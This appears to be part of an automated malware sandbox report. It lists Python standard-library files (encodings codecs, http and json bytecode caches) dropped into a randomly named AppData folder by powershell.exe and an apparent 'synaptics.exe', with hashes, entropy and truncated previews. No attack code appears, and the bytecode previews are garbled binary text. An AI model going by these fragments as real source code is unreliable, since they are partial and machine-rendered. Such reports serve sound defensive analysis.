              Encrypted:false
              SSDEEP:
              MD5:70CB514B7CD7B9A494A55CB257553431
              SHA1:7F689F78B422164FDA39F897B45AAE7C8CCFE8DB
              SHA-256:4622BB45469E23C852698A6B784B5E28AFD8072FDDB8E319C02D39B138CB9DBE
              SHA-512:CCCA6974D74B32643D84198A626C28A6CC777B3D9853C90FDE3F61D54F8A41ED3C423CE2795402E6157A1529985C91E56B1D2C944EF3222E54CA8D2A232C0D6D
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_5 generated from 'MAPPINGS/ISO8859/8859-5.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-5',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_6.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11140
              Entropy (8bit):4.629970059245577
              Encrypted:false
              SSDEEP:
              MD5:A69D78A4C1AB4134DC5033FA45821AAE
              SHA1:C0B9008772067BF43B1A817780D6B86DFCD87EF8
              SHA-256:1543F9AD8DCC4AA912C5C901A5A216A4EA3DB62FB19197A0D90CCC0EE69B4538
              SHA-512:230E26A9366387FAE38340921C675D3AD3CD8580096824842FA9261EB1BBA391E399525425030854FAA9F84819E57F7F9F238426B809274A6D78676143AC9F3B
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_6 generated from 'MAPPINGS/ISO8859/8859-6.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-6',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_7.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13151
              Entropy (8bit):4.649031466938632
              Encrypted:false
              SSDEEP:
              MD5:50BFFF8D67F78DF6B9941AD829159358
              SHA1:D766C9E1E2EA76FB3CA67793F36A3F45C1545132
              SHA-256:41FEB2BEC72E3F07C0D67F0E421FF8E51A8E1688AA20AF7C8A12CE0DDF464104
              SHA-512:00EEA3F1B69FA47E0DA4B7AC0E4AD0E8830A6A3E845B3D340A4ACB4DB0838D01423B4FFAD94863178ECAD72FA1053868CE506C5AF3C010C76A29D11F2BB992C5
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_7 generated from 'MAPPINGS/ISO8859/8859-7.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-7',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_8.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11343
              Entropy (8bit):4.621650787612196
              Encrypted:false
              SSDEEP:
              MD5:E873B80A7B474B64BA463354A5D1A39A
              SHA1:58682E0EF443927AC206F8C0B70FB2636DD1C2C2
              SHA-256:63D11B2592BDB036C8F4150EC1F968D1A6E01D22AF8D7DAF94F6C72E0A8FD752
              SHA-512:185EA3AD52F3CE519171B5CBBB5BF7071C009A800121F368CD06118F1A82D37BA2A5526118D6A8B1117C5C9AD31699BD657903CDA9C4A25D6BB7D192C643C717
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_8 generated from 'MAPPINGS/ISO8859/8859-8.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-8',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\iso8859_9.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13463
              Entropy (8bit):4.569353880954753
              Encrypted:false
              SSDEEP:
              MD5:CAD4BC52AF4F5E24614AC8857D21DC35
              SHA1:49BDA77039C166194660CAF30885E17951603F3E
              SHA-256:FD0CCFDE95FCFEBF48BA5ED5F697C4799C3303B853077F48FFEF2FD9EF1E30C8
              SHA-512:6CBDC2C1F97DB4A9A1BFD1D1601C55F946C82BB5AE2844DDECC98A1B760B7EB292EA393DFD2A1D45BA99906397861BF01E1C0C3430D8285B517724F06F19D10E
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec iso8859_9 generated from 'MAPPINGS/ISO8859/8859-9.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-9',.. encode

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\johab.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1062
              Entropy (8bit):4.530496029691674
              Encrypted:false
              SSDEEP:
              MD5:161F7EEDD0B4169D0A36DA2E7808EB7B
              SHA1:35D8869963DBB870A4B9DF3C974DE9A5CF5F4E41
              SHA-256:C83AA2098AB15FBAD7EB999C303B27350B0459EE9F6FC2B2BF4004D4285F9E8D
              SHA-512:5219805C9AF0799449BA650FE4108B450A20A3864AC5CD7ADA83A5C2429F9604025E8F1F296A461600E73372779838971AB91F150060761597D670B4AB9ED531
              Malicious:false
              Reputation:unknown
              Preview:#..# johab.py: Python Unicode Codec for JOHAB..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('johab')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='johab',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\koi8_r.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14086
              Entropy (8bit):4.696171438355166
              Encrypted:false
              SSDEEP:
              MD5:75872A24381833D8B71D42A66523AA45
              SHA1:C4AC11C4903178821FE680C732462C02626C016B
              SHA-256:90A883B291D5F1E6DBB735413D51648C31580B1927500161C16624836D01E5EE
              SHA-512:A84BD3BDBC4BCBFE90B550CB4FFB6CDBEBBB4B1C3824A931CBA448E84C79D4D6B05D9D67C0718FA97F790B8C1071C775010058306BCEC2769D4E721808CED8FF
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec koi8_r generated from 'MAPPINGS/VENDORS/MISC/KOI8-R.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='koi8-r',.. encode=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\koi8_t.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13501
              Entropy (8bit):4.664370116157909
              Encrypted:false
              SSDEEP:
              MD5:B2F96B9A1CF37B7C81BE8704D4E62EF9
              SHA1:AB37BF387BF19A833126952D139E41093DD217D9
              SHA-256:86D922A935AFDE1BD7C22CF8A9F23A237511C92C51509A80051DD2862A84D09F
              SHA-512:F139A2AAB199BB95905B6C020A6410D9FC1C67486BB8AF7796CE41BCC8CDE7AE034749F50728162BE836AE2D4ED74D4ED82282EE56517843C404412C72756ECE
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec koi8_t.."""..# http://ru.wikipedia.org/wiki/...-8..# http://www.opensource.apple.com/source/libiconv/libiconv-4/libiconv/tests/KOI8-T.TXT....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\koi8_u.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14069
              Entropy (8bit):4.689466302139651
              Encrypted:false
              SSDEEP:
              MD5:211B71B4C717939EDEDBFD33A9C726BE
              SHA1:64DEB95FD1A59EC03B09643BE2F2055A079151E4
              SHA-256:9F77F72F8A42A1BA97C7D53AFDB6F6A6D4E08707CAA4D4CD57D6C113156BB32B
              SHA-512:3CBACB39A0994C5285E5B0316B3816916D43C6EE607398022B7BF05430A9621416C2F28A848C2E90B47BE147DDFFB7CF03D5CE8C129BFE52247D6AA238FF5639
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec koi8_u generated from 'python-mappings/KOI8-U.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='koi8-u',.. encode=Codec(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\kz1048.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14030
              Entropy (8bit):4.572243714560591
              Encrypted:false
              SSDEEP:
              MD5:F4729A1242BD140B732D4BEE6E137558
              SHA1:44EFA222BB2CA9ADD776C29A098F9F03FF03E515
              SHA-256:DA8BAC477F14620D8AA89EB6CB8963602E1C39724148369C88EF48C95D495011
              SHA-512:F5812E38B06620752A557FA70F207AA3298A2FEC7598107BCE749F5B1529A8CA92CAC5AD72E068F6F711C714868389861E93B25B484FA2AD13FC8B3A50EE797E
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec kz1048 generated from 'MAPPINGS/VENDORS/MISC/KZ1048.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self, input, errors='strict'):.. return codecs.charmap_encode(input, errors, encoding_table).... def decode(self, input, errors='strict'):.. return codecs.charmap_decode(input, errors, decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input, self.errors, encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input, self.errors, decoding_table)[0]....class StreamWriter(Codec, codecs.StreamWriter):.. pass....class StreamReader(Codec, codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='kz1048',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\latin_1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1314
              Entropy (8bit):4.724793488479122
              Encrypted:false
              SSDEEP:
              MD5:92C4D5E13FE5ABECE119AA4D0C4BE6C5
              SHA1:79E464E63E3F1728EFE318688FE2052811801E23
              SHA-256:6D5A6C46FE6675543EA3D04D9B27CCCE8E04D6DFEB376691381B62D806A5D016
              SHA-512:C95F5344128993E9E6C2BF590CE7F2CFFA9F3C384400A44C0BC3ACA71D666ED182C040EC495EA3AF83ABBD9053C705334E5F4C3F7C07F65E7031E95FDFB7A561
              Malicious:false
              Reputation:unknown
              Preview:""" Python 'latin-1' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.latin_1_encode.. decode = codecs.latin_1_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.latin_1_encode(input,self.errors)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.latin_1_decode(input,self.errors)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....class StreamConverter(StreamWriter,StreamReader):.... encode = codecs.latin_1_decode.. decode = codecs.latin_1_encode....### encodings module API..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\mac_arabic.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:CSV text
              Category:dropped
              Size (bytes):37165
              Entropy (8bit):4.736863402692657
              Encrypted:false
              SSDEEP:
              MD5:C269925332C46C7A774FBFCAD74F4B66
              SHA1:5F9542A16C83A7EE831F320507BD87756B398DCF
              SHA-256:F5C262F930F3B7D83466283347F8B0D7B5C7CBF18DD6FCEB4FAF93DBCD58839E
              SHA-512:5BAE57045F650E062EAEA05106F726A0C9B29409CA6CD9667338473DF8CA779BE8965C5F8BD5D87B2DDB76024794AFFC92FF98850D0D0161269133AC3B2F7825
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/APPLE/ARABIC.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-arabic',.. encode=Codec().encode,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\mac_croatian.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13940
              Entropy (8bit):4.577897629122807
              Encrypted:false
              SSDEEP:
              MD5:C3FC8C5389BFDF1371B849C38FE1A20C
              SHA1:009654FD007C938E2FC889B64954FD139EE051E8
              SHA-256:68539CA54FFD5D96C07F3590E720D8A28009CB7CAA13E607AC3084D19DD5A19A
              SHA-512:8F81FD2106ED43E0CE34004576ED99D77FB6766EC6B757EB4F8B815742E86F90C36CDBAF19E9C3BE3D4F2B92B94695D014721C4A2D7E22312155BE7FBA1164BA
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec mac_croatian generated from 'MAPPINGS/VENDORS/APPLE/CROATIAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-croatian',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\mac_cyrillic.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13761
              Entropy (8bit):4.613646718299373
              Encrypted:false
              SSDEEP:
              MD5:69AF178D83304D0AB6260D64CC9C734F
              SHA1:AA73ADF92F5762F559B26C9858590AA750D4F25F
              SHA-256:AC11E1F54789AFF782D79FE7D6FD52183EF0F57B6AC4A0F680353FE0113F0D4D
              SHA-512:A42B7C7CD5E6AE157B1DCE131264C353DF0FF6FEA09B06D1498EF07931D94D91C48D311964E0F35D4DF893CE65BFD5F3339BB9E1541DFBE2A2FEED25A478E9F9
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec mac_cyrillic generated from 'MAPPINGS/VENDORS/APPLE/CYRILLIC.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-cyrillic',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__pycache__\__init__.cpython-310.pyc.25168208

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6439
              Entropy (8bit):5.805127545825218
              Encrypted:false
              SSDEEP:
              MD5:D54FEB3243F7164C52A4FF724765974D
              SHA1:E64927435F1714BFAD41176E55C0C07F0C1017A5
              SHA-256:7429FECE73C6EDF749B018059B1357EB546A513375E3241075F1244587B0B0A0
              SHA-512:0DBF2D0593DBE9C5224091D4B1CE8ED284BC0EE6E7646A8028EE8D775CB8064D391765A26F02A1B6AB8D5B7980E4389F3F3AAD2565AB13F6B0C2B35273B5827F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...IntEnum..HTTPStatusc....................@...s....e.Z.d.Z.d.Z.dDd.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)d*Z*d+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCS.)Er....aG...HTTP status codes and reason phrases.. Status codes from the following RFCs are all observed:.. * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616. * RFC 6585: Additional HTTP Status Codes. * RFC 3229: Delta encoding in HTTP. * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518. * RFC 5842: Binding Extensions to WebDAV. * RFC 7238: Permanent Redirect. * RFC 2295: Transparent Content Negotiation in HTTP. * RFC 2774: An HTTP Extension Framework. * RFC 7725: An HTTP Status Code to Rep

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__pycache__\client.cpython-310.pyc.25169776

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):35201
              Entropy (8bit):5.38011650873829
              Encrypted:false
              SSDEEP:
              MD5:C5FBE62F60AE3FD0688F195C7A171310
              SHA1:48864D2C513B39A2C51698081A2C6676B0A145C4
              SHA-256:0B0F63C3D5A7598F952A630265C52DFBCBB4E72AEE2FF99829F3C67C94230E37
              SHA-512:0AA78B14BD0A45F218896301AC9A55C850D80E2AC01218B01369C7973D497D2DACBB852625B6FC58C21C0741214932278BB3C06EF73A6551320D293C537CD031
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sP...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.....e.j.j.....d.d...e.j.j.....D...Z.d.Z.d.Z.e...d...j.Z.e...d...j Z!e...d...Z"e...d...Z#h.d...Z$d?d.d...Z%G.d.d...d.e.j&j'..Z(d.d...Z)e(f.d.d...Z*G.d.d...d.e.j+..Z,G.d.d ..d ..Z-z.d.d.l.Z.W.n...e/y.......Y.n.w.G.d!d"..d"e-..Z0e..1d"....G.d#d$..d$e2..Z3G.d%d&..d&e3..Z4G.d'd(..d(e3..Z5G.d)d*..d*e3..Z6G.d+d,..d,e3..Z7G.d-d...d.e3..Z8G.d/d0..d0e3..Z9G.d1d2..d2e3..Z:G.d3d4..d4e:..Z;G.d5d6..d6e:..Z<G.d7d8..d8e:..Z=G.d9d:..d:e3..Z>G.d;d<..d<e3..Z?G.d=d>..d>e@e>..ZAe3ZBd.S.)@a....HTTP/1.1 client library..<intro stuff goes here>.<other stuff, too>..HTTPConnection goes through a number of "states", which define when a client.may legally make another request or fetch the response for a particular.request. This diagram details these state transitions:.. (null). |. | HTTPConnection(). v. Idle. |. | putr

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\json\__pycache__\__init__.cpython-310.pyc.56034544

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):12287
              Entropy (8bit):5.386508911206232
              Encrypted:false
              SSDEEP:
              MD5:7FCDDD10B88B323BD0D0E62193187E91
              SHA1:E59ED7F394D372E6089D046F7C5F6C3DD19358C2
              SHA-256:922D5A54EAEC739C54EFAACE61D806A9061B7413835EDD5C1F7599DC770BDD2F
              SHA-512:0242184E0B094EB104DF33F454EBB2DD625E94D126EDBD17DBC1DC923AAE339EDF4580184C453F8CD11686A2CE37A439A5868CF9416C97CDA3489B44F0CD3C92
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d+8.......................@...s....d.Z.d.Z.g.d...Z.d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.Z.e.d.d.d.d.d.d.d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d...Z.d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.S.).a....JSON (JavaScript Object Notation) <https://json.org> is a subset of.JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data.interchange format...:mod:`json` exposes an API familiar to users of the standard library.:mod:`marshal` and :mod:`pickle` modules. It is derived from a.version of the externally maintained simplejson library...Encoding basic Python object hierarchies::.. >>> import json. >>> json.dumps(['foo', {'bar': ('baz', None, 1.0, 2)}]). '["foo", {"bar": ["baz", null, 1.0, 2]}]'. >>> print(json.dumps("\"foo\bar")). "\"foo\bar". >>> print(json.dumps('\u1234')). "\u1234". >>> print(json.dumps('\\')). "\\". >>> print(json.dumps({"c": 0, "b": 0, "a": 0}, sort_keys=True)). {"

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\json\__pycache__\decoder.cpython-310.pyc.56036336

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):9789
              Entropy (8bit):5.567273003216884
              Encrypted:false
              SSDEEP:
              MD5:5B47F4DABB8FDA9538A24D0B3AD39338
              SHA1:133D926A81266B59E7D58F5815FE5E41E05E3970
              SHA-256:B457DB1E4097D217D8D0E3E2F1FBF9AA12EA1D20434D614F4021250DCFD85623
              SHA-512:FC735E86D2B608FBB007E495FF69DA507FF1F89F79987B476B8183916F88AA20FDB6017FA23AB2A33CBF44B279D2F114B922476A48F0A297E6018EF1992CA97D
              Malicious:false
              Reputation:unknown
